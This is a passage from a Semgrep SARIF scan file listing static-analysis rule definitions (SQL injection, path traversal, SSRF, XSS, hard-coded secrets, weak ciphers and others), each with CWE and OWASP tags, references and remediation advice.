Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password","id":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","name":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-empty-password.python-mysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"help":{"markdown":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n","text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","id":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","name":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.subprocess-shell-true.subprocess-shell-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"help":{"markdown":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","id":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","name":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg","id":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","name":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-msg.file-taint-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","id":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","name":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"help":{"markdown":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated)\n - [https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard](https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","id":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","name":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Rather than adding one element at a time, consider batch loading to improve performance."},"help":{"markdown":"Rather than adding one element at a time, consider batch loading to improve performance.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import)\n","text":"Rather than adding one element at a time, consider batch loading to improve performance."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import","id":"python.sqlalchemy.performance.performance-improvements.batch-import","name":"python.sqlalchemy.performance.performance-improvements.batch-import","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.batch-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"help":{"markdown":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n","text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"helpUri":"https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","id":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","name":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"help":{"markdown":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug)\n - [https://docs.scala-lang.org/overviews/compiler-options/index.html](https://docs.scala-lang.org/overviews/compiler-options/index.html)\n","text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug","id":"scala.lang.security.audit.scalac-debug.scalac-debug","name":"scala.lang.security.audit.scalac-debug.scalac-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalac-debug.scalac-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/www-community/attacks/XPATH_Injection](https://owasp.org/www-community/attacks/XPATH_Injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"help":{"markdown":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","id":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","name":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","id":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","name":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-auth.hardcoded-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data","id":"cpp.lang.security.containers.std-return-data.std-return-data","name":"cpp.lang.security.containers.std-return-data.std-return-data","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-return-data.std-return-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","id":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","name":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"help":{"markdown":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle)\n - [https://capec.mitre.org/data/definitions/463.html](https://capec.mitre.org/data/definitions/463.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n - [https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY](https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY)\n","text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid 